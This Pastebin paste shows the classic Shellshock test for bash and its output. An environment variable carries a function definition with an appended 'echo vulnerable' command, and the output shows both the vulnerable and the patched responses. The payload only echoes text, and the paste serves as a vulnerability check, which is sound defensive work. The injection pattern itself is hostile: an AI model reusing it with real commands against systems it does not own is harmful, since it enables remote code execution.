Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable'
- bash -c "echo test"
- vulnerable
- bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
- bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
- bash: error importing function definition for `BASH_FUNC_x'
- test
- bash: warning: x: ignoring function definition attempt
- bash: error importing function definition for `BASH_FUNC_x'
- test
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement